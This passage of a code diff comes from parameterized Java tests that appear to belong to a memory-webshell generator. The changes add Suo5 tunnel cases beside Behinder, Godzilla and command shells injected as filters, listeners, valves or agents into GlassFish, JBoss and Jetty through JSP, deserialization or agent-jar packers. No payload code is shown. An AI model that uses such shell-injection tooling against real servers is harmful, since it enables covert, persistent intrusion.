arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
@@ -50,6 +50,9 @@ public class GlassFish510ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
@@ -58,6 +61,9 @@ public class GlassFish510ContainerTest {
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
@@ -66,6 +72,9 @@ public class GlassFish510ContainerTest {
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
@@ -49,18 +49,24 @@ public class GlassFish6ContainerTest {
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
@@ -46,12 +46,15 @@ public class GlassFish7ContainerTest {
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
@@ -48,18 +48,24 @@ public class Jboss423ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
@@ -49,18 +49,24 @@ public class Jboss510ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
@@ -48,18 +48,24 @@ public class Jboss610ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
@@ -48,12 +48,15 @@ public class Jboss711ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
@@ -45,12 +45,15 @@ public class JbossEap6ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
@@ -49,18 +49,24 @@ public class JbossEap7ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -48,18 +48,24 @@ public class Jetty10ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar));
@@ -48,18 +48,24 @@ public class Jetty11ContainerTest {
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -47,18 +47,24 @@ public class Jetty61ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize)
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize)
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
@@ -48,18 +48,24 @@ public class Jetty76ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -48,18 +48,24 @@ public class Jetty81ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -49,18 +49,24 @@ public class Jetty92ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
